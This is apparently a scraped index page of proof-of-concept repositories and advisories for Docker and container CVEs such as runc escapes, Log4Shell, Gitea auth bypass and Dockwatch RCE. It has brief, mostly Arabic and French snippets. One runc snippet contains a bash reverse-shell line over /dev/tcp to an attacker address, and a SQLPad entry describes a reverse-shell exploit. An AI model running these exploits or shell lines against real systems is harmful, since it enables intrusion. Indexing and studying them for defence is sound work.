proof-of-exploit

Proof of Exploit Takes a public security advisory, reproduces...

CVE-2022-25476

CVE-2022-25476 ⚡ استخدام بسيط استخدم هذا المشروع فقط في البيئات الآمنة والمصرح بها مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المصرح بها إعداد مثال: git clone cd Project use python follow below Create a virtual environment python -m venv venv...

CVE-2024-21626-old-docker-versions

ثغرة الهروب من الحاويات في مكونات runc القديمة CVE-2024-21626 أثناء تحليلي لـ CVE-2024-21626 وجدت أن مكونات docker القديمة الأخرى معرّضة لخطر تسريب واصفات الملفات fd leakage وهو أمر غير مذكور في النشرة الأمنية GHSA-xr7r-f8xq-vfvv. اقرأ مقالتي الكاملة للشرح المفصّل هنا. 1. إعداد البيئة 🔨 أ. تنزيل...

tugtainer-1.30.2-CVE-2026-55494-and-CVE-2026-62308-to-RCE

Tugtainer v1.30.2 RCE يتم الحصول على ثغرة تنفيذ الأوامر عن بُعد RCE من خلال استغلال ثغرتين: CVE-2026-55494 CVE-2026-62308 باختصار، يتم استغلال ثغرة SSRF للاتصال بخدمة غير موثقة في الشبكة الداخلية لإنشاء حاوية دوكر تشارك نفس PID مع Tugtainer، مما يجعل نظام ملفات حاوية Tugtainer قابلًا للوصول عبر...

CVE-2026-20896

CVE-2026-20896 صورة Docker الرسمية لـ Gitea حتى الإصدار 1.26.2 وما يشملها تأتي مع REVERSEPROXYTRUSTEDPROXIES = في إعداداتها الافتراضية. إذا قمت بتفعيل تسجيل الدخول عبر الوكيل العكسي reverse-proxy login، فإن ذلك البدل wildcard يعني أن كل عنوان IP مصدر يُعتبر وكيلاً موثوقًا، وبالتالي يمكن لأي شخص...

cve-2022-42889-text4shell-docker

تثبيت Maven - maven-linux 1. تثبيت Maven لإنشاء الجرة الكاملة mvn clean install 2. بناء Docker docker build --tag=text4shell . 3. تشغيل Docker docker run -p 80:8080 text4shell 4. اختبار التطبيق http://localhost/text4shell/attack?search= 5. يمكن تنفيذ الهجوم عن طريق تمرير سلسلة “$prefix:name” حيث ...

Log4Shell-CVE-2021-44228-Demo

عرض توضيحي لـ Log4Shell CVE-2021-44228 إعداد البيئة العميل أي مكان يمكنه الوصول إلى خادم HTTP باستخدام سطر الأوامر curl التطبيق الضعيف عبر خادم HTTP مع log4j مثيل Amazon Linux 2 x86 من EC2 / جهاز Azure Virtual Machine يعمل بنظام CentOS $ yum install docker -y $ systemctl enable docker $ systemctl...

CVE-2022-0944

CVE-2022-0944 استغلال لإثبات المفهوم لثغرة SQLPad RCE CVE-2022-0944 الاستخدام usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password...

CVE-2022-0492-Container-Escape

CVE-2022-0492-Container-Escape CVE-2022-0492-Container-Escape مُنفَّذ باستخدام Go الروابط المرجعية: https://github.com/chenaotian/CVE-2022-0492 https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/...

AZL-106746 CVE-2026-93323 affecting package docker-buildx 0.14.0-17

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323

The Dockerfile frontend is vulnerable to a memory exhaustion attack because it loads Dockerfile and .dockerignore files into memory without a size limit. An attacker providing a build context with an oversized file can cause buildkitd to allocate proportional memory, potentially leading to a Deni...

webmin_docker_and_exp

Docker-webmin-RCE-lab 1. ملفات Dockerfiles لاستنساخ ثغرة CVE-2019-15107 webmin RCE بما في ذلك الإصدارين v1.890 و v1.920. 2. استغلال لكل إصدار. بناء الصورة First, clone the files Then cd webmin1.890/1.920docker docker build -t hachp1/webmin . تشغيل الحاوية docker run -d -p 10000:10000 hachp1/webmi...

log4shell-poc-lab

عرض توضيحي لـ Log4Shell POC يحتوي هذا المستودع على وحدة فرعية submodule، يمكنك استنساخه باستخدام: git clone --recurse-submodules [email protected]:obscuritylabs/log4shell-poc-lab.git ثم لتشغيل العرض التوضيحي نفّذ: docker compose up لعرض الاستغلال الذي ينشئ ملفًا على الخادم الضحية، نفّذ: dock...

cve-2026-20896-gitea-poc

CVE-2026-20896 Gitea Docker Auth Bypass Checker Opérations de red team / pentest autorisées uniquement. Ce dépôt contient un vérificateur minimal pour CVE-2026-20896, un contournement d'authentification dans les images Docker officielles de Gitea jusqu'à la version 1.26.2 incluse lorsque...

CVE-2026-78122-POC

CVE-2026-78122 — Preuve de concept Tecnativadocker-socket-proxy ≤ 0.5.0 — Granularité insuffisante du contrôle d'accès CWE-1220 CVSS 4.0: 8.3 Élevé — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Le vecteur d'attaque est Adjacent AV:A : l'attaquant doit avoir un accès réseau...

CVE-2026-58455-PoC

CVE-2026-58455 — Dockwatch RCE non authentifié contournement d'authentification + injection de commande Preuve de concept pour CVE-2026-58455 : exécution de code à distance non authentifiée dans Dockwatch par Notifiarr, une interface web auto-hébergée de gestion de conteneurs Docker. Affecte tout...

cve-2019-5736-poc

الرؤوس المطلوب إضافتها stage2.c bash include bash include تعديل IP الخاص بجهاز المهاجم stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; إنشاء صورة Docker والحاوية $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...